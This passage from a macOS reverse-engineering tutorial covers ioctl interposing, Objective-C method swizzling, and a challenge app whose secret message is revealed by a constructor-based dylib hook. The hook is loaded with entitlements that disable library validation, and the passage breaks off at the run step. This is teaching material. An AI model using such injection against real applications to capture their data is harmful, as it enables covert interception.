<p>User crash reports are typically located in the<code class="language-plaintext highlighter-rouge"> ~/Library/Logs/DiagnosticReports/ </code>directory. Each crash report file is named with the application name and a timestamp.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/Users/&lt;your_username&gt;/Library/Logs/DiagnosticReports/
</code></pre></div></div>

<ul>
  <li><strong>System Crash Reports</strong></li>
</ul>

<p>System crash reports are stored in the /Library/Logs/DiagnosticReports/ directory. These reports are accessible to all users with appropriate permissions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/Library/Logs/DiagnosticReports/
</code></pre></div></div>

<ul>
  <li>Debugging</li>
</ul>

<p>Finally we could use <code class="language-plaintext highlighter-rouge">lldb</code>, To debug it.</p>

<ol>
  <li><strong>Avoiding Infinite Loops</strong></li>
</ol>

<p>To avoid infinite loops, ensure that your interposed function does not invoke the original function in a way that causes it to call back into your interposed function. For example, avoid using <code class="language-plaintext highlighter-rouge">printf</code> inside an interposed function if <code class="language-plaintext highlighter-rouge">printf</code> itself might invoke the original function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">my_ioctl</span><span class="p">(</span><span class="kt">int</span> <span class="n">d</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">request</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">request</span> <span class="o">!=</span> <span class="n">request_id</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// Exclude specific request to avoid loop</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[+] IOCTL Request Information: 0x%x, 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">data</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="objective-c-method-swizzling">Objective-C Method Swizzling</h2>

<p>Method swizzling is a technique used to change the implementation of an existing method at runtime. This is particularly useful in scenarios where you want to alter or extend the behavior of a method without modifying its original code. We’ll explore two techniques for method swizzling in <code class="language-plaintext highlighter-rouge">Objective-C</code>: using categories and using <code class="language-plaintext highlighter-rouge">C</code> functions.</p>

<h4 id="technique-1-using-categories">Technique 1: Using Categories</h4>

<p>In this example, we’ll hook the <code class="language-plaintext highlighter-rouge">length</code> method of the <code class="language-plaintext highlighter-rouge">NSString</code> class to log a message whenever it is called. This involves creating a new category for <code class="language-plaintext highlighter-rouge">NSString</code> and performing the swizzling.</p>

<p><strong>Step 1: Create a Category</strong></p>

<p>First, we create a new category for <code class="language-plaintext highlighter-rouge">NSString</code> called <code class="language-plaintext highlighter-rouge">NewNSString</code> and add our custom <code class="language-plaintext highlighter-rouge">custom_length</code> method.</p>

<p><strong>Code:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
#import &lt;objc/runtime.h&gt;
</span>
<span class="k">@interface</span> <span class="nc">NSString</span> <span class="p">(</span><span class="nl">NewNSString</span><span class="p">)</span>
<span class="k">-</span> <span class="p">(</span><span class="n">NSUInteger</span><span class="p">)</span> <span class="n">custom_length</span><span class="p">;</span>
<span class="k">@end</span>

<span class="k">@implementation</span> <span class="nc">NSString</span> <span class="p">(</span><span class="nl">NewNSString</span><span class="p">)</span>

<span class="k">-</span> <span class="p">(</span><span class="n">NSUInteger</span><span class="p">)</span> <span class="n">custom_length</span> <span class="p">{</span>
    <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Hooked the length method!"</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">[</span><span class="n">self</span> <span class="nf">custom_length</span><span class="p">];</span> <span class="c1">// This will call the original length method after swizzling</span>
<span class="p">}</span>
<span class="k">@end</span>
</code></pre></div></div>

<ul>
  <li><strong>Category Declaration</strong>: We declare a category <code class="language-plaintext highlighter-rouge">NewNSString</code> for the <code class="language-plaintext highlighter-rouge">NSString</code> class, adding a new method <code class="language-plaintext highlighter-rouge">custom_length</code>.</li>
  <li><strong>Method Implementation</strong>: We implement <code class="language-plaintext highlighter-rouge">custom_length</code> to log a message before calling itself. Initially, this would cause an infinite loop, but after swizzling, it will call the original <code class="language-plaintext highlighter-rouge">length</code> method.</li>
</ul>

<p><strong>Step 2: Perform the Swizzling</strong></p>

<p>Next, we perform the actual swizzling by swapping the implementations of the original <code class="language-plaintext highlighter-rouge">length</code> method and our <code class="language-plaintext highlighter-rouge">custom_length</code> method.</p>

<p><strong>Code:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">Class</span> <span class="n">class</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSString</span> <span class="nf">class</span><span class="p">];</span>
        <span class="n">SEL</span> <span class="n">originalSelector</span> <span class="o">=</span> <span class="k">@selector</span><span class="p">(</span><span class="n">length</span><span class="p">);</span>
        <span class="n">SEL</span> <span class="n">swizzledSelector</span> <span class="o">=</span> <span class="k">@selector</span><span class="p">(</span><span class="n">custom_length</span><span class="p">);</span>
        
        <span class="n">Method</span> <span class="n">originalMethod</span> <span class="o">=</span> <span class="n">class_getInstanceMethod</span><span class="p">(</span><span class="n">class</span><span class="p">,</span> <span class="n">originalSelector</span><span class="p">);</span>
        <span class="n">Method</span> <span class="n">swizzledMethod</span> <span class="o">=</span> <span class="n">class_getInstanceMethod</span><span class="p">(</span><span class="n">class</span><span class="p">,</span> <span class="n">swizzledSelector</span><span class="p">);</span>
        
        <span class="n">method_exchangeImplementations</span><span class="p">(</span><span class="n">originalMethod</span><span class="p">,</span> <span class="n">swizzledMethod</span><span class="p">);</span>
        
        <span class="c1">// Test the swizzling</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">testString</span> <span class="o">=</span> <span class="s">@"Hello, World!"</span><span class="p">;</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Length: %lu"</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)[</span><span class="n">testString</span> <span class="nf">length</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li><strong>Class and Selectors</strong>: We obtain the <code class="language-plaintext highlighter-rouge">NSString</code> class and the selectors for the original and custom methods (<code class="language-plaintext highlighter-rouge">length</code> and <code class="language-plaintext highlighter-rouge">custom_length</code>).</li>
  <li><strong>Methods</strong>: We use <code class="language-plaintext highlighter-rouge">class_getInstanceMethod</code> to retrieve the method implementations for these selectors.</li>
  <li><strong>Swizzling</strong>: We use <code class="language-plaintext highlighter-rouge">method_exchangeImplementations</code> to swap the implementations of the two methods.</li>
  <li><strong>Test</strong>: We create an <code class="language-plaintext highlighter-rouge">NSString</code> instance and call the <code class="language-plaintext highlighter-rouge">length</code> method, which now logs a message due to our swizzling.</li>
</ul>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024-06-25 12:00:00.000000+0000 swizzling[10172:4293511] Hooked the length method!
2024-06-25 12:00:00.000000+0000 swizzling[10172:4293511] Length: 13
</code></pre></div></div>

<h4 id="technique-2-using-c-functions">Technique 2: Using C Functions</h4>

<p>For the second technique, we create a new C function and use <code class="language-plaintext highlighter-rouge">method_setImplementation</code> to update the method’s implementation pointer.</p>

<p><strong>Step 1: Define the C Function</strong></p>

<p>We define our custom <code class="language-plaintext highlighter-rouge">custom_length</code> function and a placeholder for the original function pointer.</p>

<p><strong>Code:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
#import &lt;objc/runtime.h&gt;
</span>
<span class="k">static</span> <span class="n">IMP</span> <span class="n">original_length</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

<span class="k">static</span> <span class="n">NSUInteger</span> <span class="nf">custom_length</span><span class="p">(</span><span class="n">id</span> <span class="n">self</span><span class="p">,</span> <span class="n">SEL</span> <span class="n">_cmd</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Hooked the length method with C function!"</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">((</span><span class="n">NSUInteger</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="n">id</span><span class="p">,</span> <span class="n">SEL</span><span class="p">))</span><span class="n">original_length</span><span class="p">)(</span><span class="n">self</span><span class="p">,</span> <span class="n">_cmd</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li><strong>Static IMP Pointer</strong>: We declare a static IMP (method pointer) to hold the original <code class="language-plaintext highlighter-rouge">length</code> method’s implementation.</li>
  <li><strong>Custom Function</strong>: We define <code class="language-plaintext highlighter-rouge">custom_length</code> to log a message and then call the original <code class="language-plaintext highlighter-rouge">length</code> method using the <code class="language-plaintext highlighter-rouge">original_length</code> pointer. The first two parameters of the function are <code class="language-plaintext highlighter-rouge">id self</code> (the object) and <code class="language-plaintext highlighter-rouge">SEL _cmd</code> (the selector).</li>
</ul>

<p><strong>Step 2: Update the Method Implementation</strong></p>

<p>Next, we update the method implementation to point to our custom function.</p>

<p><strong>Code:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">Class</span> <span class="n">class</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSString</span> <span class="nf">class</span><span class="p">];</span>
        <span class="n">Method</span> <span class="n">originalMethod</span> <span class="o">=</span> <span class="n">class_getInstanceMethod</span><span class="p">(</span><span class="n">class</span><span class="p">,</span> <span class="k">@selector</span><span class="p">(</span><span class="n">length</span><span class="p">));</span>
        
        <span class="n">original_length</span> <span class="o">=</span> <span class="n">method_setImplementation</span><span class="p">(</span><span class="n">originalMethod</span><span class="p">,</span> <span class="p">(</span><span class="n">IMP</span><span class="p">)</span><span class="n">custom_length</span><span class="p">);</span>
        
        <span class="c1">// Test the swizzling</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">testString</span> <span class="o">=</span> <span class="s">@"Hello, World!"</span><span class="p">;</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Length: %lu"</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)[</span><span class="n">testString</span> <span class="nf">length</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li><strong>Class and Method</strong>: We obtain the <code class="language-plaintext highlighter-rouge">NSString</code> class and the <code class="language-plaintext highlighter-rouge">length</code> method.</li>
  <li><strong>Update Implementation</strong>: We use <code class="language-plaintext highlighter-rouge">method_setImplementation</code> to replace the original <code class="language-plaintext highlighter-rouge">length</code> method with our <code class="language-plaintext highlighter-rouge">custom_length</code> function. The original method’s implementation is stored in <code class="language-plaintext highlighter-rouge">original_length</code>.</li>
  <li><strong>Test</strong>: We create an <code class="language-plaintext highlighter-rouge">NSString</code> instance and call the <code class="language-plaintext highlighter-rouge">length</code> method, which now logs a message due to our custom function.</li>
</ul>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024-06-25 12:00:00.000000+0000 swizzling[10419:4306252] Hooked the length method with C function!
2024-06-25 12:00:00.000000+0000 swizzling[10419:4306252] Length: 13
</code></pre></div></div>

<h3 id="how-it-works-">How It Works ?</h3>

<h4 id="categories-and-swizzling">Categories and Swizzling</h4>

<ol>
  <li><strong>Categories</strong>: Categories in Objective-C allow you to add new methods to existing classes without subclassing. This feature is used to introduce the <code class="language-plaintext highlighter-rouge">custom_length</code> method to the <code class="language-plaintext highlighter-rouge">NSString</code> class.</li>
  <li><strong>Selectors and Methods</strong>: A selector (<code class="language-plaintext highlighter-rouge">SEL</code>) is the name of a method, and a method (<code class="language-plaintext highlighter-rouge">Method</code>) is a reference to the implementation of that method.</li>
  <li><strong>Swizzling</strong>: Swizzling involves swapping the implementations of two methods. <code class="language-plaintext highlighter-rouge">method_exchangeImplementations</code> is used to exchange the implementations of the original method and the custom method. After swizzling, calling the original method will execute the custom implementation and vice versa.</li>
</ol>

<h4 id="c-functions-and-swizzling">C Functions and Swizzling</h4>

<ol>
  <li><strong>IMP Pointers</strong>: An <code class="language-plaintext highlighter-rouge">IMP</code> is a pointer to the start of a method implementation. By storing the original method’s <code class="language-plaintext highlighter-rouge">IMP</code>, you can call the original method from within your custom implementation.</li>
  <li><strong>Custom Function</strong>: The custom function mimics the method signature of the original method and can perform additional operations (e.g., logging) before or after calling the original method.</li>
  <li><strong>Method Replacement</strong>: <code class="language-plaintext highlighter-rouge">method_setImplementation</code> replaces the implementation of a method with a new function, allowing you to intercept calls to the method and redirect them to your custom function.</li>
</ol>

<h2 id="guide-for-method-swizzling-with-md5app">Guide for Method Swizzling with MD5App</h2>

<p>In this example, we will create an Objective-C application that generates a random message, computes its MD5 hash, and then uses method swizzling to intercept and log the original message. We will break down each part of the process to explain how and why it works.</p>

<h3 id="step-1-create-the-md5-application">Step 1: Create the MD5 Application</h3>

<p>First, we create a simple Objective-C application that generates a random message, computes its MD5 hash, and prints out the hash.</p>

<p><strong>MD5App.m:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
#import &lt;CommonCrypto/CommonDigest.h&gt;
</span>
<span class="c1">// Interface for the MD5 generator class</span>
<span class="k">@interface</span> <span class="nc">MD5Generator</span> <span class="p">:</span> <span class="nc">NSObject</span>
<span class="k">-</span> <span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nf">md5HashOfString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">input</span><span class="p">;</span>
<span class="k">@end</span>

<span class="k">@implementation</span> <span class="nc">MD5Generator</span>

<span class="c1">// Function to compute MD5 hash</span>
<span class="k">-</span> <span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nf">md5HashOfString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">input</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">cStr</span> <span class="o">=</span> <span class="p">[</span><span class="n">input</span> <span class="nf">UTF8String</span><span class="p">];</span>
    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">digest</span><span class="p">[</span><span class="nf">CC_MD5_DIGEST_LENGTH</span><span class="p">];</span>
    <span class="n">CC_MD5</span><span class="p">(</span><span class="n">cStr</span><span class="p">,</span> <span class="p">(</span><span class="n">CC_LONG</span><span class="p">)</span><span class="n">strlen</span><span class="p">(</span><span class="n">cStr</span><span class="p">),</span> <span class="n">digest</span><span class="p">);</span>

    <span class="n">NSMutableString</span> <span class="o">*</span><span class="n">output</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSMutableString</span> <span class="nf">stringWithCapacity</span><span class="p">:</span><span class="n">CC_MD5_DIGEST_LENGTH</span> <span class="o">*</span> <span class="mi">2</span><span class="p">];</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">CC_MD5_DIGEST_LENGTH</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="p">[</span><span class="n">output</span> <span class="nf">appendFormat</span><span class="p">:</span><span class="s">@"%02x"</span><span class="p">,</span> <span class="n">digest</span><span class="p">[</span><span class="nf">i</span><span class="p">]];</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">output</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">@end</span>

<span class="c1">// Function to generate a random string of a given length</span>
<span class="n">NSString</span> <span class="o">*</span><span class="nf">generateRandomString</span><span class="p">(</span><span class="n">NSUInteger</span> <span class="n">length</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">NSString</span> <span class="o">*</span><span class="n">letters</span> <span class="o">=</span> <span class="s">@"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"</span><span class="p">;</span>
    <span class="n">NSMutableString</span> <span class="o">*</span><span class="n">randomString</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSMutableString</span> <span class="nf">stringWithCapacity</span><span class="p">:</span><span class="n">length</span><span class="p">];</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">NSUInteger</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">length</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="p">[</span><span class="n">randomString</span> <span class="nf">appendFormat</span><span class="p">:</span> <span class="s">@"%C"</span><span class="p">,</span> <span class="p">[</span><span class="n">letters</span> <span class="nf">characterAtIndex</span><span class="p">:</span> <span class="n">arc4random_uniform</span><span class="p">((</span><span class="kt">uint32_t</span><span class="p">)[</span><span class="n">letters</span> <span class="nf">length</span><span class="p">])]];</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">randomString</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Function to get user input from the command line</span>
<span class="n">NSString</span> <span class="o">*</span><span class="nf">getUserInput</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">inputChars</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">inputChars</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">[[</span><span class="n">NSString</span> <span class="nf">stringWithUTF8String</span><span class="p">:</span><span class="n">inputChars</span><span class="p">]</span> <span class="nf">stringByTrimmingCharactersInSet</span><span class="p">:[</span><span class="n">NSCharacterSet</span> <span class="nf">newlineCharacterSet</span><span class="p">]];</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">MD5Generator</span> <span class="o">*</span><span class="n">generator</span> <span class="o">=</span> <span class="p">[[</span><span class="n">MD5Generator</span> <span class="nf">alloc</span><span class="p">]</span> <span class="nf">init</span><span class="p">];</span>

        <span class="c1">// Generate random message</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">message</span> <span class="o">=</span> <span class="n">generateRandomString</span><span class="p">(</span><span class="mi">20</span><span class="p">);</span> <span class="c1">// Random message of length 20</span>

        <span class="c1">// Compute MD5 hash of the message</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">md5Hash</span> <span class="o">=</span> <span class="p">[</span><span class="n">generator</span> <span class="nf">md5HashOfString</span><span class="p">:</span><span class="n">message</span><span class="p">];</span>
        <span class="c1">//NSLog(@"Generated Message: %@", message);</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"MD5 Hash: %@"</span><span class="p">,</span> <span class="n">md5Hash</span><span class="p">);</span>

        <span class="c1">// Ask user to enter the string</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Please enter the original string:"</span><span class="p">);</span>

        <span class="n">NSString</span> <span class="o">*</span><span class="n">userInput</span> <span class="o">=</span> <span class="n">getUserInput</span><span class="p">();</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">userInputHash</span> <span class="o">=</span> <span class="p">[</span><span class="n">generator</span> <span class="nf">md5HashOfString</span><span class="p">:</span><span class="n">userInput</span><span class="p">];</span>

        <span class="c1">// Compare hashes</span>
        <span class="k">if</span> <span class="p">([</span><span class="n">userInputHash</span> <span class="nf">isEqualToString</span><span class="p">:</span><span class="n">md5Hash</span><span class="p">])</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="s">@"[+] Congrats, You swizzle it successfully"</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="s">@"[-] You need to be more swizzly :("</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li><strong>Import Statements</strong>: We import the necessary Foundation framework and CommonCrypto library for MD5 hashing.</li>
  <li><strong>MD5 Generator Class</strong>:
    <ul>
      <li><strong>md5HashOfString</strong>: Computes the MD5 hash of a given input string.</li>
    </ul>
  </li>
  <li><strong>Random String Generation</strong>:
    <ul>
      <li><strong>generateRandomString</strong>: Generates a random string of a given length using alphanumeric characters.</li>
    </ul>
  </li>
  <li><strong>User Input</strong>:
    <ul>
      <li><strong>getUserInput</strong>: Reads user input from the command line.</li>
    </ul>
  </li>
  <li><strong>Main Function</strong>:
    <ul>
      <li>Generates a random message and computes its MD5 hash.</li>
      <li>Prompts the user to enter the original message.</li>
      <li>Compares the hash of the user input with the computed hash.</li>
      <li>Prints a success message if the hashes match, otherwise prints a failure message.</li>
    </ul>
  </li>
</ol>

<h3 id="step-2-swizzle-the-md5-hash-method-to-log-the-original-message">Step 2: Swizzle the MD5 Hash Method to Log the Original Message</h3>

<p>Next, we will use method swizzling to intercept the <code class="language-plaintext highlighter-rouge">md5HashOfString:</code> method and log the original message.</p>

<p><strong>Swizzle.m:</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
#import &lt;objc/runtime.h&gt;
</span>
<span class="c1">// Function pointer for the original md5HashOfString function</span>
<span class="k">static</span> <span class="n">NSString</span><span class="o">*</span> <span class="p">(</span><span class="o">*</span><span class="n">original_md5HashOfString</span><span class="p">)(</span><span class="n">id</span><span class="p">,</span> <span class="n">SEL</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">)</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

<span class="c1">// Custom function to log the message and call the original md5HashOfString</span>
<span class="k">static</span> <span class="n">NSString</span><span class="o">*</span> <span class="nf">custom_md5HashOfString</span><span class="p">(</span><span class="n">id</span> <span class="n">self</span><span class="p">,</span> <span class="n">SEL</span> <span class="n">_cmd</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="n">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Intercepted MD5 message: %@"</span><span class="p">,</span> <span class="n">input</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">original_md5HashOfString</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">_cmd</span><span class="p">,</span> <span class="n">input</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Constructor function to perform the swizzling</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">customConstructor</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Class</span> <span class="n">generatorClass</span> <span class="o">=</span> <span class="n">NSClassFromString</span><span class="p">(</span><span class="s">@"MD5Generator"</span><span class="p">);</span>
    <span class="n">SEL</span> <span class="n">originalSelector</span> <span class="o">=</span> <span class="k">@selector</span><span class="p">(</span><span class="n">md5HashOfString</span><span class="o">:</span><span class="p">);</span>
    <span class="n">Method</span> <span class="n">originalMethod</span> <span class="o">=</span> <span class="n">class_getInstanceMethod</span><span class="p">(</span><span class="n">generatorClass</span><span class="p">,</span> <span class="n">originalSelector</span><span class="p">);</span>

    <span class="c1">// Replace the original implementation with the custom implementation</span>
    <span class="n">original_md5HashOfString</span> <span class="o">=</span> <span class="p">(</span><span class="n">NSString</span><span class="o">*</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="n">id</span><span class="p">,</span> <span class="n">SEL</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="n">method_setImplementation</span><span class="p">(</span><span class="n">originalMethod</span><span class="p">,</span> <span class="p">(</span><span class="n">IMP</span><span class="p">)</span><span class="n">custom_md5HashOfString</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li><strong>Import Statements</strong>: We import the necessary Foundation framework and Objective-C runtime for method swizzling.</li>
  <li><strong>Static Function Pointer</strong>: We declare a static function pointer <code class="language-plaintext highlighter-rouge">original_md5HashOfString</code> to hold the original implementation of the <code class="language-plaintext highlighter-rouge">md5HashOfString:</code> method. This allows us to call the original method from within our custom implementation.</li>
  <li><strong>Custom Function</strong>:
    <ul>
      <li><strong>Log the Original Message</strong>: The custom function <code class="language-plaintext highlighter-rouge">custom_md5HashOfString</code> logs the original message.</li>
      <li><strong>Call Original Function</strong>: The original <code class="language-plaintext highlighter-rouge">md5HashOfString:</code> method is called using the stored function pointer, passing along the original parameters.</li>
    </ul>
  </li>
  <li><strong>Constructor Function</strong>:
    <ul>
      <li><strong>Get Method</strong>: The <code class="language-plaintext highlighter-rouge">class_getInstanceMethod</code> function is used to get the method for <code class="language-plaintext highlighter-rouge">md5HashOfString:</code>.</li>
      <li><strong>Replace Implementation</strong>: The <code class="language-plaintext highlighter-rouge">method_setImplementation</code> function is used to replace the original implementation of <code class="language-plaintext highlighter-rouge">md5HashOfString:</code> with our custom implementation. The original implementation is stored in <code class="language-plaintext highlighter-rouge">original_md5HashOfString</code>.</li>
    </ul>
  </li>
</ol>

<h3 id="step-3-compile-and-run">Step 3: Compile and Run</h3>

<p>To compile and run the application with the swizzle library:</p>

<ol>
  <li>
    <p><strong>Compile the MD5 Application</strong>:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> clang <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> CommonCrypto <span class="nt">-o</span> MD5App MD5App.m
</code></pre></div>    </div>
  </li>
</ol>

<p>To allow your application to load dynamic libraries using the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable, you need to add the <code class="language-plaintext highlighter-rouge">com.apple.security.cs.allow-dyld-environment-variables</code> entitlement as well. Here’s how to do it:</p>

<ol>
  <li>
    <p><strong>Create an Entitlements File</strong>:
Create an entitlements file (<code class="language-plaintext highlighter-rouge">entitlements.plist</code>) with the necessary permissions.</p>

    <p><strong>entitlements.plist</strong>:</p>

    <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
 <span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
 <span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
 <span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>com.apple.security.cs.disable-library-validation<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
    <span class="nt">&lt;key&gt;</span>com.apple.security.cs.allow-dyld-environment-variables<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
 <span class="nt">&lt;/dict&gt;</span>
 <span class="nt">&lt;/plist&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Sign the Application</strong>:
Use the <code class="language-plaintext highlighter-rouge">codesign</code> tool to sign the application with the created entitlements.</p>

    <p><strong>Commands</strong>:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">--deep</span> <span class="nt">--force</span> <span class="nt">--verify</span> <span class="nt">--verbose</span> <span class="nt">--entitlements</span> entitlements.plist <span class="nt">--sign</span> <span class="s2">"YOUR_IDENTITY"</span> YOUR_APP_PATH
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Compile the Swizzle Code</strong>:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> clang <span class="nt">-dynamiclib</span> <span class="nt">-framework</span> Foundation <span class="nt">-o</span> Swizzle.dylib Swizzle.m
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Run the Application with the Swizzle Library</strong>:</p>

